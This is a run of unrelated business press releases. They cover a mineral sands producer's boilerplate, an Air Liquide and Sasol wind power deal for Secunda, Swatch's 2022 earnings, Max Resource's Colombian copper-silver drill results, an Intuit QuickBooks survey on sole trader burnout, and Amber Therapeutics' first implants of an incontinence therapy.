Base Resources is an Australian based, African focused, mineral sands producer and developer with a track record of project delivery and operational performance. The Company operates the established Kwale Operations in Kenya and is developing the Toliara Project in Madagascar. Base Resources is an ASX and AIM listed company. Further details about Base Resources are available at www.baseresources.com.au

PRINCIPAL & REGISTERED OFFICE

Level 3, 46 Colin Street

West Perth, Western Australia, 6005

Email: info@baseresources.com.au

Phone: +61 8 9413 7400

Fax: +61 8 9322 8912

NOMINATED ADVISOR

RFC Ambrian Limited

Stephen Allen

Phone: +61 8 9480 2500

JOINT BROKER

Berenberg

Matthew Armitt / Detlir Elezi

Phone: +44 20 3207 7800

JOINT BROKER

Canaccord Genuity

Raj Khatri / James Asensio / Patrick Dolaghan

Phone: +44 20 7523 8000


Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Regulatory News:

Air Liquide (Paris:AI) and Sasol have signed two Power Purchase Agreements (PPA) with Enel Green Power for the long-term supply of a total capacity of 220 MW of renewable power to Sasol's Secunda site, in South Africa, where Air Liquide operates the biggest oxygen production site in the world. These PPAs are the first results of the Request for Proposal (RFP) process launched jointly by Air Liquide and Sasol in April, 2021, for the procurement of a total capacity of 900 MW of renewable energy. They will significantly contribute to the decarbonization of the Secunda site, and in particular to the targeted reduction by 30 to 40 of the CO2 emissions associated with the oxygen production by 2031.

Within the framework of these agreements with Air Liquide and Sasol, two local majority owned wind projects will be created by Enel Green Power, the Enel Group subsidiary dedicated to the development and management of power generated from renewable resources worldwide. The 220 MW wind powered renewable electricity production capacity is scheduled to be operational in 2025. This agreement is subject to regulatory and financial approvals.

Ronnie Chalmers, Vice President and Executive Committee Member of the Air Liquide Group, in charge of Africa Middle East India, said: "By signing these long-term PPAs with Enel Green Power, Air Liquide and Sasol actively support the development of renewable energies in South Africa, for the benefit of the South African electrical power system and the fight against global warming. This will also contribute to the South African social transformation and a "Just Transition", and more generally to South Africa's economy and environment. In line with Air Liquide's Sustainable Development objectives, and its ADVANCE strategic plan, which include reducing its absolute CO2 emissions starting around 2025 and reaching carbon neutrality by 2050, these PPAs also demonstrate the Group's capacity to collaborate with its customers to provide solutions which contribute to the decarbonization of its assets as well as of its clients."

"Sasol and Air Liquide's efforts to procure a total of 900 MW of renewable energy to decarbonise our respective operations at Secunda is another step towards Sasol's aim to procure 1.200 MW of renewable energy capacity from IPPs by 2030, representing one of the largest renewable energy procurement programmes from the private sector in South Africa, says Priscillah Mabelane, Executive Vice President of Sasol's Energy Business. "Sasol's Renewable Energy Programme is aligned to the government's REIPPP programme and plays a key role in creating alternative sources of energy for grid expansion to address South Africa's current energy capacity constraints. Our work in the renewable energy space to secure PPA partners demonstrates the real progress Sasol is making towards its decarbonisation and ultimately, the development of a green economy", Mabelane added.

In April 2021, Air Liquide and Sasol launched the largest corporate effort in South Africa to procure a total of 900 MW of renewable energy for their operations in Secunda, with an allocation of 500 MW to Sasol and 400 MW to Air Liquide. The two companies are negotiating with the remaining preferred bidders to this RFP to complete the balance of the renewable energy requested within the coming months.

Air Liquide acquired Sasol's 16 oxygen production units in Secunda and has been operating them since June 2021, in the framework of a long-term supply contract with its long-term partner. Including another Air Separation Unit (ASU) it already operated for Sasol, Air Liquide thus now operates a total of 17 ASUs in Secunda, with a total capacity of 47,000 tonnes/day of oxygen. Air Liquide plans to reduce by 30 to 40 the CO2 emissions (Scope 2) arising from its operations on the Secunda site through a multi-year investment and modernization plan and a steep increase of the site's procurement in renewable energies.

About Air Liquide

A world leader in gases, technologies and services for Industry and Health, Air Liquide is present in 75 countries with approximately 66,400 employees and serves more than 3.8 million customers and patients. Oxygen, nitrogen and hydrogen are essential small molecules for life, matter and energy. They embody Air Liquide's scientific territory and have been at the core of the company's activities since its creation in 1902.

Taking action today while preparing the future is at the heart of Air Liquide's strategy. With ADVANCE, its strategic plan for 2025, Air Liquide is targeting a global performance, combining financial and extra-financial dimensions. Positioned on new markets, the Group benefits from major assets such as its business model combining resilience and strength, its ability to innovate and its technological expertise. The Group develops solutions contributing to climate and the energy transition-particularly with hydrogen-and takes action to progress in areas of healthcare, digital and high technologies.

Air Liquide's revenue amounted to more than 23 billion euros in 2021. Air Liquide is listed on the Euronext Paris stock exchange (compartment A) and belongs to the CAC 40, CAC 40 ESG, EURO STOXX 50 and FTSE4Good indexes.

About Sasol

Sasol is a global chemicals and energy company. We harness our knowledge and expertise to integrate sophisticated technologies and processes into world-scale operating facilities.

We safely and sustainably source, produce and market a range of high-quality products in 23 countries, creating value for stakeholders. Our purpose 'innovating for a better world' compels us to deliver on triple bottom line outcomes of People, Planet and Profit, responsibly and always with the intent to be a force for good.

We have prioritised five Sustainable Development Goals to ensure our business is environmentally, socially and economically sustainable.

About Sasol's Information Privacy Policy: We wish to inform you about the processing of your Personal Information by Sasol South Africa Limited and your rights under applicable data protection law, as interpreted and included in Sasol Information Privacy Policy. Within our company, only Sasol Group Media Relations will receive your Personal Information to fulfil the purpose of maintaining the relationship with the receiver in his/her capacity as a member of the media. You have the right to request for the correction or deletion of your Personal Information stored by us at address: Sasol Place, 50 Katherine Street, Sandton in Johannesburg. You also have a right to restrict the processing of your Information. To exercise your privacy rights or find out more about Information Privacy Policy, kindly contact our Privacy Office on: privacy@sasol.com

www.airliquide.com

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Contacts:

AIR LIQUIDE

Corporate Communications

media@airliquide.com

Investor Relations

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SASOL

Corporate Communications

Alex Anderson, Senior Manager: Group Media Relations and External Communication

Mobile: +27 (0) 71 600 9605;

Email: alex.anderson@sasol.com

Matebello Motloung, Manager: Group Media Relations

Direct telephone: +27 (0) 11 441 3252, Mobile: +27 (0) 82 773 9457

matebello.motloung@sasol.com




BIEL (dpa-AFX) - Swiss watch and jewelry maker Swatch Group (SWGAF.PK, SWGNF.PK) reported Tuesday that its fiscal 2022 net income increased 6.3 percent to 823 million Swiss francs from last year's 774 million francs.



Operating profit was 1.16 billion francs, up 13.4 percent from previous year's 1.02 billion francs.



Net sales grew 2.5 percent to 7.50 billion francs from 7.31 billion francs a year ago. Net sales grew 4.6 percent at constant exchange rates.



Sales grew in all regions, with the exception of China, where Covid lockdowns resulted in sales shortfalls.



Further, the company said its Board of Directors, at its next meeting, will decide on the dividend proposal to the Annual General Meeting.



Looking ahead for fiscal 2023, Swatch Group said it aims to achieve a record year in view of the strong position of the brands in all segments worldwide and the robust numbers in January for Mainland China.



The company said, 'Group Management anticipates strong sales growth in 2023 in all regions and segments. After the end of Covid measures, consumption quickly recovered, not only in China, but also in the surrounding markets of Hong Kong SAR and Macau. In addition, lifting of travel restrictions in China will revitalize sales in tourist destinations. The sales growth in January in China reinforces the Group's expectation to aim for a record year in 2023.'



For more earnings news, earnings calendar, and earnings for stocks, visit rttnews.com.



Copyright(c) 2023 RTTNews.com. All Rights Reserved



Copyright RTT News/dpa-AFX
Highlights Include 10.6m at 3.4% Copper and 48 g/t Silver

Vancouver, British Columbia--(Newsfile Corp. - January 24, 2023) - MAX RESOURCE CORP. (TSXV: MAX) (OTC Pink: MXROF) (FSE: M1D2) ("Max" or the "Company") is pleased to provide assays and analysis for its initial drilling program at the CESAR Project. Within the 20-km-long, 2-km wide copper silver bearing URU District, only two targets (URU-C and URU-CE) were drill tested (refer to Figure 1).

KEY POINTS

Drilling the URU-C and URU-CE targets, located 0.75-km apart, confirmed the continuation of copper silver mineralization at depth (refer to Figure 2).

and targets, located 0.75-km apart, confirmed the continuation of copper silver mineralization at depth (refer to Figure 2). At URU-C, a 9.0m of 7.0% Cu + 115 g/t Ag discovery was confirmed at depth by hole URU-12, which intersected 10.6m of 3.4% Cu and 48 g/t Ag, including a 2.4m section of no core recovery calculated as nil grade, as the drill pierced a high-grade underground adit. This hole also included 0.8m of 18.5% Cu + 292 g/t Ag. Further drilling is planned to confirm continuation of high-grade mineralization down dip.

a 9.0m of 7.0% Cu + 115 g/t Ag discovery was confirmed at depth by hole URU-12, which intersected 10.6m of 3.4% Cu and 48 g/t Ag, including a 2.4m section of no core recovery calculated as nil grade, as the drill pierced a high-grade underground adit. This hole also included 0.8m of 18.5% Cu + 292 g/t Ag. Further drilling is planned to confirm continuation of high-grade mineralization down dip. At URU-CE the 19.0m of 1.3% Cu discovery was confirmed by hole URU-9, which intersected a broad zone of copper oxide returning 33.0m of 0.3% Cu from 4.0m, including 16.5m of 0.5% Cu. The broad associated alteration zone implies the potential for a bulk tonnage system. Planned drilling will also target surface higher-grade zones, discovered by rock channel sampling along strike 235m to the south.

The maiden drill program consisted of 14 holes from 7 drill pads for total of 2,244m. Twelve holes intersected mineralized zones, with six intersecting significant copper silver mineralization. All holes encountered significant alteration associated with a district scale hydrothermal system. All structures identified to date appear to be associated with mineralizing events. Most notable is the presence of widespread copper oxide in the form of malachite and primary chalcocite (refer to Figures 3 to 9). Highlight drill results (core intervals, true widths are unknown at this time) include:

Drill Hole From (m) To (m) Copper (Cu) and Silver (Ag) URU-12 62.30 72.90 3.4% copper + 48 g/t silver over 10.60m including 62.30 64.10 6.4% copper + 84 g/t silver over 1.80m including 62.30 66.61 2.7% copper + 36 g/t silver over 4.31m including 66.61 69.01 0% copper + 0 g/t silver over 2.40m (nil core recovery) including 69.01 72.90 6.3% copper + 92 g/t silver over 3.89m including 71.76 72.53 18.5% copper + 292 g/t silver over 0.77m URU-14 64.92 77.45 1.2% copper + 18 g/t silver over 12.53m Including 65.53 71.30 2.1% copper + 46 g/t silver over 5.77m including 70.55 71.30 6.5% copper + 104 g/t silver over 0.75m URU-1 66.75 73.72 1.4% copper + 8 g/t silver over 6.97m URU-2 335.52 343.20 0.6% copper + 7 g/t silver over 7.68m including 335.52 336.90 2.1% copper + 30 g/t silver over 1.38m URU-9 4.87 37.84 0.3% copper oxide over 32.97m including 13.25 29.70 0.5% copper oxide over 16.45m including 27.56 29.70 1.9% copper oxide over 2.14m URU-10 3.65 32.30 0.3 % copper oxide over 28.65m including 4.26 24.92 0.4% copper oxide over 20.66m

"We are pleased that the first drill program has achieved the objective of confirming two discoveries which continue at depth, noting the results are from a 0.75-km partial strike of the 90-km-long copper silver zone. Malachite and chalcocite zones were intersected in 12 of the first 14 holes with significant copper silver mineralization in 6 holes, including bonanza 18.5% copper + 292 g/t silver over 0.8m," commented Max CEO, Brett Matich.

"The Company's exploration team has now commenced its fully-funded 2023 exploration and drilling program," he concluded.



Figure 1. CESAR 90-km-belt drill locations

To view an enhanced version of Figure 1, please visit:

https://images.newsfilecorp.com/files/3834/152246_30bc2f0824da4bf1_001full.jpg







Figure 2. 20-km-long URU District; URU-C and URU-CE location

To view an enhanced version of Figure 2, please visit:

https://images.newsfilecorp.com/files/3834/152246_30bc2f0824da4bf1_002full.jpg





Figure 3. URU-C Drilling Plan View

To view an enhanced version of Figure 3, please visit:

https://images.newsfilecorp.com/files/3834/152246_30bc2f0824da4bf1_003full.jpg





Figure 4. URU-C Drilling Cross Section

To view an enhanced version of Figure 4, please visit:

https://images.newsfilecorp.com/files/3834/152246_30bc2f0824da4bf1_004full.jpg





Figure 5. URU-C, drill hole URU-12 returned ultra high-grades of 18.5% copper + 292 g/t silver over 0.8m

To view an enhanced version of Figure 5, please visit:

https://images.newsfilecorp.com/files/3834/152246_30bc2f0824da4bf1_005full.jpg





Figure 6. URU-CE Drilling Plan View

To view an enhanced version of Figure 6, please visit:

https://images.newsfilecorp.com/files/3834/152246_30bc2f0824da4bf1_006full.jpg





Figure 7. URU-CE Drilling Cross Section

To view an enhanced version of Figure 7, please visit:

https://images.newsfilecorp.com/files/3834/152246_30bc2f0824da4bf1_007full.jpg

Both the URU-C and URU-CE mineralization consisted of very favourable primary chalcocite and secondary oxide malachite. The chalcocite forms in significant globular blebs, as disseminations, and also lines the walls of the calcite veining and forms veinlets of massive chalcocite in brecciated areas. Malachite is closely related to the chalcocite in veins and can be seen as replacing chalcocite in some of the disseminations. In addition, Magnetic and Induced Polarization surveys were conducted to test the response of mineralization and determine if blind drill targets could be identified as high probability mineral occurrences (refer to Figures 2 through to 8).

The URU-C drill holes, URU-1, 2, 12 and 14 intersected significant grades of copper and silver mineralization. In addition, high-grade mineralization was intersected in holes URU-1, 12, and 14, interpreted as possibly associated with a low angle structure dipping to the southeast. URU-12 was the best intercept of the three and unfortunately pierced an underground adit in the middle of the high-grade, but still reported 10.6m of 3.4% copper + 48 g/t silver, including 0.8m of 18.5% copper + 292 g/t silver and 3.9m of 6.3 % copper + 92 g/t silver.

URU-1 and 14 both had significant intercepts with hole URU-1 returning 7.0m of 1.4% copper + 8 g/t silver, while URU-14 intersected 12.5m of 1.2% copper + 18 g/t silver with higher grade of 5.8m of 2.1% copper + 46 g/t silver.

At URU-C, hole URU-2 was the deepest hole of the program demonstrating the depth potential drilling large diameter HQ holes to approximately 400m down hole. The target was a deep low order IP chargeability high 150m west of URU-C and coincident magnetic high. An intersection of a 7.7-metre-wide zone of 0.6% copper + 7 g/t silver, including 1.4m of 2.1% copper + 30 g/t silver, demonstrates that IP and coincident magnetics works well at identifying mineralized targets.

At URU-CE located 750m east of URU-C, holes URU-9 and URU-10 were drilled from a single pad. From approximately 4.0m surface, both holes encountered wide intervals of lower grade but favourable oxide copper. URU-9 intersected 33.0m of 0.3% copper, including 16.5m of 0.5% copper and URU-10 intercepted 28.7m of 0.3% copper, including 20.7m of 0.4% copper. The broad associated alteration zone implies potential for a bulk tonnage system, drilling will also target higher-grade zones.

The copper mineralization at URU-CE is open in all directions. In addition, rock chip sampling returned highlight values of 1.2 to 4.2% copper extending the URU-CE target zone 235m to the south. The target is also on the eastern end of a 1-km long coincidental IP and magnetic anomaly.





Figure 8. URU-CE highlight copper values of 3.7% from hole URU-09 and 3.1% from hole URU-10



To view an enhanced version of Figure 8, please visit:

https://images.newsfilecorp.com/files/3834/152246_30bc2f0824da4bf1_008full.jpg





Figure 9. Mineralized interval in drill hole URU-2, first identified occurrence of bornite

To view an enhanced version of Figure 9, please visit:

https://images.newsfilecorp.com/files/3834/152246_30bc2f0824da4bf1_009full.jpg

Links to Figures 1 to 9

https://www.maxresource.com/images/gallery/MAX_20230124_Fig1.jpg

https://www.maxresource.com/images/gallery/MAX_20230124_Fig2.jpg

https://www.maxresource.com/images/gallery/MAX_20230124_Fig3.jpg

https://www.maxresource.com/images/gallery/MAX_20230124_Fig4.jpg

https://www.maxresource.com/images/gallery/MAX_20230124_Fig5.jpg

https://www.maxresource.com/images/gallery/MAX_20230124_Fig6.jpg

https://www.maxresource.com/images/gallery/MAX_20230124_Fig7.jpg

https://www.maxresource.com/images/gallery/MAX_20230124_Fig8.jpg

https://www.maxresource.com/images/gallery/MAX_20230124_Fig9.jpg

DH No. E_WGS84z18N N_WGS84z18N Elevation (m) Azimuth Dip Hole Length (m) Target URU-1 729,897 1,169,766 744 275 -50 173.73 URU-C URU-2 729,897 1,169,767 745 330 -45 381.60 URU-C URU-3 729,900 1,169,765 744 120 -45 205.74 URU-C URU-4 729,898 1,169,766 745 275 -70 90.83 URU-C URU-5 729,932 1,169,991 836 325 -45 261.51 URU-C URU-6 729,897 1,170,056 835 165 -45 118.56 URU-C URU-7 729,872 1,169,978 825 130 -45 136.85 URU-C URU-8 729,871 1,169,981 825 310 -55 53.03 URU-C URU-9 730,673 1,169,871 1037 25 -45 174.65 URU-CE URU-10 730,673 1,169,870 1037 25 -75 155.44 URU-CE URU-11 729,957 1,170,020 860 280 -45 131.36 URU-C URU-12 729,872 1,169,804 750 235 -52 90.65 URU-C URU-13 729,872 1,169,804 750 170 -80 136.63 URU-C URU-14 729,872 1,169,804 750 230 -55 133.19 URU-C

Table 1. Drill hole locations (core intervals, true widths are unknown at this time)

Links to Drill Tables

https://www.maxresource.com/images/gallery/MAX_20230124_Table1.jpg

https://www.maxresource.com/images/gallery/MAX_20230124_Table2.jpg

2023 Exploration Plans

Max has now commenced its 2023 exploration and drilling campaign. Additional geophysical techniques including ground Magneto-Telluric (MT) surveys will be deployed to provide a broader basket of tools to explore the AM, Conejo and URU Districts, which collectively cover a 60-km strike length of Copper Silver mineralization.

Phase 1 metallurgy will form part of the additional focus, as the unique characteristics of this mineralized district exhibiting strong potential for leachable copper tonnage.

Quality Assurance

Max adheres to a strict QA/QC program for core handling, sampling, sample transportation and analyses. Drill core samples were securely transported to the Company's core facility in Valledupar, Colombia. Samples were sawn in half, labelled, placed in sealed, securitized bags and shipped directly to ALS Colombia LTDA in Medellin, with some holes shipped directly to Actlabs Colombia SAS in Medellin. Analysis was completed at ALS Medellin and/or Actlabs Medellin or Actlabs Zacatecas, Mexico. ALS Medellin is an ISO 9001: 2008 certified facility, while Actlabs Medellin and Actlabs Zacatecas are both ISO 9001: 2015 certified facilities.

The ALS Medellin analytical technique was ME-ICP 61, a four acid digestion of a 0.25g sample analyzed on an Inductively Coupled Plasma (ICP) with upper limits of 100 ppm for silver and 10,000 ppm for copper. Over limits for copper or silver were analyzed with the OG62 technique, a four acid digestion of a 0.4g sample.

The Actlabs Zacacetas analytical technique was IF2, a multielement four acid digestion of a 0.25g sample analyzed on an ICP unit while the Actlabs Medellin analytical technique was TD-AA, a 4 acid digestion of a 0.25g sampled for copper and silver analyzed on an Atomic Absorption (AA) unit, both with upper limits of 100 ppm for silver and 10,000 ppm for copper. Over limits for copper or silver were analyzed with the 8 4 Acid ICP technique, a four acid digestion of a 0.4g sample.

QA/QC control procedures include the systematic insertion of duplicate, blank and certified reference materials (CRM), at regular intervals into the sampling stream. A review of the CRM analyses shows repeated under reporting from Actlabs Medellin (below 2 Standard Deviations), while the ALS Medellin CRM analyses reported well within 2 Standard Deviations. A review of duplicates showed no discrepancies.

Background

Max's CESAR project lies along the copper silver rich Cesar basin in NE Colombia. This region provides access to major infrastructure resulting from oil & gas and mining operations, including Cerrejon, the largest coal mine in South America, held by global miner Glencore. Max's twenty-one mining concessions collectively expanse over 188-km.

Max executed a 2-year co-operation agreement with Endeavour Silver Corp., which assists Max to significantly expand its 100% owned landholdings at CESAR, Endeavour will hold underlying 0.5% NSR.

Starting in the far north of the Jurassic basin, classic stacked red bed outcrops with extensive lateral continuity have been rock sampled over many kilometres within the AM District. Highlight values of 34.4% copper and 305 g/t silver have been documented in the sedimentary red bed sequences.

The Conejo District, midway south, demonstrates mineralization at the contact of intermediate and felsic volcanics which outcrops over 3.7 kilometers. The average of surface samples over a 2.0% cut-off come in at 4.9% copper.

To the far south, the 2022 inaugural drilling was initiated at two mineralized surface exposures, each located 0.75-km apart and lie within the URU District's 20-km long, 2-km wide mineralized target area. The drill program at URU-C and URU-CE was the first opportunity to test continuity of the structurally controlled copper silver mineralization within the volcanic host rocks in the sub-basinal environment of the Cesar sedimentary basin.

Corporate

Further to the Company's news release dated September 13, 2022, shareholders confirmed and approved by an ordinary resolution, the Company's 2022 Omnibus Equity Incentive Compensation Plan (the "Omnibus Plan") at its October 11, 2022, Annual General and Special Meeting (the "Meeting") and the TSX Venture Exchange ("TSXV") has further approved the Omnibus Plan.

Under the Omnibus Plan, the Company may grant stock options to the Company's directors, officers, employees and consultants and performance share units to the Company's directors and officers.

The Omnibus Plan allows option holders to exercise options on a "Cashless Exercise" or "Net Exercise" basis, as now expressly permitted by the TSX Venture Exchange Policy 4.4. Security Based Compensation. A complete copy of the Omnibus Plan is available for viewing under the Company's SEDAR corporate profile at www.sedar.com.

Also, at the Meeting and further to its news release dated September 22, 2022, shareholders ratified and approved by an ordinary resolution, the adoption of the Company's Shareholder Rights Plan entered into with Computershare Trust Company of Canada, as Rights Agent, dated effective September 8, 2022 (the "Rights Plan") and the TSXV has further approved the Rights Plan. A complete copy of the Rights Plan is available for viewing under the Company's SEDAR corporate profile at www.sedar.com.

Qualified Person

The Company's disclosure of a technical or scientific nature in this news release was reviewed and approved by Tim Henneberry, P Geo (British Columbia), a member of the Max Resource Advisory Board, who serves as a qualified person under the definition of National Instrument 43:101.

About Max Resource Corp.

Max Resource Corp. (TSXV: MAX) is a mineral exploration company advancing the newly discovered district-scale CESAR copper-silver project. The wholly owned CESAR project sits along the Colombian portion of the world's largest producing copper belt (Andean belt), with world class infrastructure and the presence of global majors (Glencore and Chevron).

In addition, Max controls the RT Gold project (100% earn-in) in Peru, encompassing a bulk tonnage primary gold porphyry zone, and 3-km to the NW, a gold bearing massive sulphide zone. Historic drilling in 2001, returned values ranging 3.1 to 118.1 g/t gold over core lengths ranging from 2.2 to 36.0-metres.

Max is proactive, with the corporate goal of transitioning the Cesar basin towards the mining of copper, the key metal for the Colombia's transition to clean energy. The safety of our people and the communities where we operate is most important. We conduct exploration in a manner which supports protection of ecosystems through responsible environmental stewardship.

Source: NI 43:101 Geological Report Rio Tabaconas Gold Project for Golden Alliance Resources Corp. by George Sivertz, Oct.3, 2011

For more information visit: https://www.maxresource.com/

For additional information contact:

Tim McNulty E: info@maxresource.com

T: (604) 290-8100

Rahim Lakha E. rahim@bluesailcapital.com

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Except for statements of historic fact, this news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. Forward-looking statements are based on the opinions and estimates at the date the statements are made and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking statements including, but not limited to delays or uncertainties with regulatory approvals, including that of the TSXV. There are uncertainties inherent in forward-looking information, including factors beyond the Company's control. There are no assurances that the commercialization plans for Max Resources Corp. described in this news release will come into effect on the terms or time frame described herein. The Company undertakes no obligation to update forward-looking information if circumstances or management's estimates or opinions should change except as required by law. The reader is cautioned not to place undue reliance on forward-looking statements. Additional information identifying risks and uncertainties that could affect financial results is contained in the Company's filings with Canadian securities regulators, which filings are available at www.sedar.com.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152246
Over 2/3 (68%) of sole traders already feel burnt out just days into the new year

Just 1 in 5 sole traders didn't work at all over the Christmas break, with 15% working on Christmas day itself

80% of sole traders had feelings of anxiety, stress, or worry about their business over the festive period

Self Assessment tax return deadline on 31 st January brings another layer of potential stress as more than half haven't started their self assessment return yet

However positivity remains strong for 2023, as almost 3 in 4 sole traders feel confident about their business despite personal challenges

LONDON, Jan. 24, 2023 /PRNewswire/ -- New research from Intuit QuickBooks* reveals that over two-thirds (68%) of sole traders already feel burnt out as a business owner entering 2023. Additional pressures are growing too, with the Self Assessment tax return deadline looming and more than half (52%) not having yet started their return as of 9thJanuary 2023.

Post-break burnout

The research also reveals that the vast majority (80%) of sole traders didn't enjoy rest and recuperation over the festive break, and instead experienced feelings of anxiety, stress, or worry about their business. Nearly half (54%) said these feelings of anxiety meant they couldn't fully 'switch off' from work, with 42% revealing they didn't get as much rest as they needed from the break.

This is less than ideal as we enter a new year and a recession, and unsurprisingly, sole traders' biggest concern heading into 2023 is the cost-of-living crisis and its impact on business costs (44%). This is closely followed by the rising cost of materials (36%) and the recession and economic uncertainty (34%).

Looming self-assessment deadline another potential source of stress

When surveyed in the first week of January, more than half (52%) of eligible sole traders hadn't started their Self Assessment tax return, which must be completed by the end of the month. This is another potential layer of added stress, particularly given that the average time the sole traders surveyed said it takes to complete a Self Assessment tax return is 20 hours (a 25% increase from 16 hours in the January 2022 survey).

The greatest challenge for sole traders when completing their Self Assessment is understanding which expenses they can deduct (36%), followed by finding all their financial information (34%).

However, the process could be made simpler and more efficient. 30% of sole traders still complete their Self Assessment manually, but 88% say that with the right guidance, they would invest time in January to improve their financial set up if it would make their life easier for the rest of the year.

Pauline Green, Head of Product Compliance, QuickBooks says:

"While it's tough to see so many sole traders having struggled over the festive period, it's promising that so many are willing to invest time into improving their financial set-up. We know that small changes to the technologies sole traders use can so easily save time and reduce the overwhelming feelings of stress and anxiety. For sole traders in particular, AI software can quickly reduce the workload of financial admin by tracking business expenses with greater accuracy. This also gives them a better understanding of discrepancies or unnecessary expenditure, and means issues can be avoided or resolved faster so that sole traders can make better decisions going forward."

Signs of greater confidence and positivity for sole traders heading into 2023

Despite the personal struggles experienced by sole traders and the current economic landscape, nearly three quarters (71%) are confident about their businesses heading into 2023. This comes as 45% say their business performed above their expectations in 2022. A key reason for this confidence is that almost half (47%) of sole traders feel their business' resilience to shock has improved having survived the challenges of 2022.

The biggest business priorities for sole traders in 2023 are the financial growth of the business (43%), healthier cash flow (40%) and a strong customer pipeline (35%).

Pauline goes on to say: "Investing in strong financial management processes will be vital to ensure business success in 2023. Sole traders can benefit from automated technologies such as being able to easily clock and record their mileage using the app to ensure accurate records, or also being directly linked to their bank, enabling accurate income and expenditure details. By making this investment in Financial Management Software, it will help sole traders work more efficiently and will hopefully give them peace of mind."

Methodology

*Independent research conducted by?Censuswide?on behalf of Intuit QuickBooks with a representative sample of 1,001 sole traders who need to submit a self-assessment return between 03.01.2023 - 09.01.2023.

Censuswide abides by and employs members of the Market Research Society which is based on the ESOMAR principles.?

About Intuit

Intuit is the global technology platform that helps consumers and small businesses overcome their most important financial challenges. Serving more than 100 million customers worldwide with TurboTax, QuickBooks , Mint , Credit Karma, and Mailchimp, we believe that everyone should have the opportunity to prosper. We never stop working to find new, innovative ways to make that possible. Please visit us for the latest information about Intuit, our products and services, and find us on social.

Intuit Limited registered in England (Company No.: 2679414) Registered address and principal place of business: 5th Floor Cardinal Place, 80 Victoria Street, London, SW1E 5JL England.

Contact: quickbookspr@ogilvy.com, (+44) 07826 548 551

View original content:https://www.prnewswire.co.uk/news-releases/over-2-in-3-small-business-owners-already-feel-burnt-out-in-first-week-of-2023-intuit-quickbooks-research-shows-301728090.html
Amber-UI presents a unique and significant opportunity to treat urge and mixed urinary incontinence by targeting the pudendal nerve

Amber-UI can sense, interpret, adapt and respond to individual patient signals to restore normal bladder function

Ground-breaking clinical study (AURA-2) will evaluate safety and pilot efficacy of Amber-UI to treat urge and mixed urinary incontinence

Early data confirm feasibility of surgical procedure and therapy, with full read out expected later in 2023

LONDON and ANTWERP, Belgium, Jan. 24, 2023 /PRNewswire/ -- Amber Therapeutics ('Amber' or the 'Company'), a University of Oxford spinout developing next-generation, intelligent bioelectrical therapies to transform clinical outcomes in patients with functional disorders of the peripheral nervous system, announces that the first participants have been implanted with Amber-UI, the Company's proprietary therapy for urge and mixed urinary incontinence (UI).

Amber-UI is the first fully implantable closed-loop bioelectrical therapy in clinical development for UI, which is made possible by being able to access and target the pudendal nerve - the nerve that directly controls continence - through a novel, minimally invasive surgical procedure.

Leveraging its expertise in closed-loop neuromodulation concepts, Amber's multi-modal therapy can both directly regulate the urge to void the bladder (urge incontinence or overactive bladder) and augment resistance to urine leakage caused by activities such as coughing or lifting (stress incontinence), allowing for restoration of normal bladder function.

To explore the clinical potential of Amber-UI, the Company initiated its ground-breaking AURA-2 (Augmenting Urinary Reflex Activity) first-in-human study in late 2022 (clinicaltrials.gov identifier: NCT05241379). AURA-2 is designed to evaluate the safety and pilot efficacy of Amber-UI in 15 women. The study is being conducted at the University Hospital Antwerp (Belgium) by Stefan De Wachter, Professor of Urology, a leading expert in pelvic floor disorders and a co-founder of Amber.

To date, three participants have been safely implanted with the Amber-UI system with the adaptive algorithm activated and running continuously in an at-home setting. The remaining participants will be enrolled during the first half of 2023. Early indications confirming the feasibility of the surgical procedure and therapy are very promising.

The study is expected to conclude towards the end of 2023, with learnings used to improve and optimise the Amber-UI therapy in preparation for a pivotal trial.

Amber received seed funding for its development work to advance Amber-UI into the AURA-2 clinical study from Oxford Science Enterprises, 8VC and a UKRI Biomedical Catalyst grant.

For the AURA-2 study, Amber has partnered with Bioinduction Limited (Bristol, UK) for use of its Picostim DyNeuMo Research Platform, developed in collaboration with the University of Oxford, which leverages Bioinduction's core Picostim Deep Brain Stimulation (DBS) System.

Aidan Crawley, CEO of Amber commented: "Reaching this first-in-human milestone in under two years demonstrates our ability to rapidly prototype new bioelectrical therapy concepts. But what is most exciting is the potential for our UI therapy to have a radical impact on clinical outcomes not only in patients with urge UI, but also for the first time in the many more patients with mixed UI for whom no single therapy is currently available."

Stefan De Wachter, Professor of Urology at Antwerp University and leading investigator for the AURA-2 study added: "Most of the current available implanted therapies for incontinence are static (tapes, slings) or can only influence the bladder indirectly (such as sacral or tibial nerve stimulation). With Amber-UI, we stimulate the pudendal nerve, the natural pathway of continence control, and can reinforce the existing physiologic reflexes when it is needed. With our Amber-UI adaptive therapy, we finally have the potential to control both forms of incontinence: relaxing the bladder to treat urge and closing the sphincter to treat stress incontinence."

Tim Denison, Chief Scientific Officer of Amber and RAEng Chair in Emerging Technology, University of Oxford, said: "Modern bioelectronic systems have the unique capability to measure physiological signals and adjust stimulation in real-time. In partnership with clinicians, we can create novel adaptive reflex-like algorithms for exploring new therapies."

Charles Knowles, Chief Medical Officer of Amber and Professor of Surgery at Queen Mary University of London, said "Urinary incontinence is one of the most common medical problems in humans. It causes misery for millions of women and men worldwide. Amber-UI represents the first advanced therapy directed to both urge and mixed urinary incontinence and, if our study is successful, will be a major step forward in a field that has seen little real innovation for over a quarter of a century."

About Urinary Incontinence and the Current Neuromodulation Market

Urinary incontinence is a debilitating medical condition that affects many millions of women and men globally. It can cause falls and fractures, hospitalisations, and can bring about a sense of loss of control and shame, leading to isolation and depression. Many patients do not actively seek treatment, with symptoms of UI found in 40 million individuals in the US but only 16 million currently managed on any form of therapy.

